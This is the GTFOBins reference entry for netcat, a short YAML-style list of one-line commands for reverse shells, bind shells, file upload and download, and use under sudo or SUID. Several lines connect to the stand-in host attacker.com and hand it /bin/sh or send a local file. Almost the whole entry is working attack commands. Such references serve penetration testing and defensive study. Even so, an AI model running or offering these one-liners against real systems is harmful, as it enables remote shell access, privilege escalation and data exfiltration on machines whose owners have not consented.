GTFOBins.github.io/_gtfobins/nc.md
2018-10-05 18:55:38 +01:00

1.4 KiB

functions
reverse-shell bind-shell file-upload file-download sudo limited-suid
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. RHOST=attacker.com RPORT=12345 nc -e /bin/sh $RHOST $RPORT
description code
Run `nc target.com 12345` on the attacker box to connect to the shell. This only works with netcat traditional. LPORT=12345 nc -l -p $LPORT -e /bin/sh
description code
Send a file to a TCP port. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file. RHOST=attacker.com RPORT=12345 LFILE=file_to_send nc $RHOST $RPORT < "$LFILE"
description code
Fetch remote file sent to a local TCP port. Run `nc target.com 12345 < "file_to_send"` on the attacker box to send the file. LPORT=12345 LFILE=file_to_save nc -l -p $LPORT > "$LFILE"
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. RHOST=attacker.com RPORT=12345 sudo nc -e /bin/sh $RHOST $RPORT
description code
Run `nc -l -p 12345` on the attacker box to receive the shell. This only works with netcat traditional. RHOST=attacker.com RPORT=12345 ./nc -e /bin/sh $RHOST $RPORT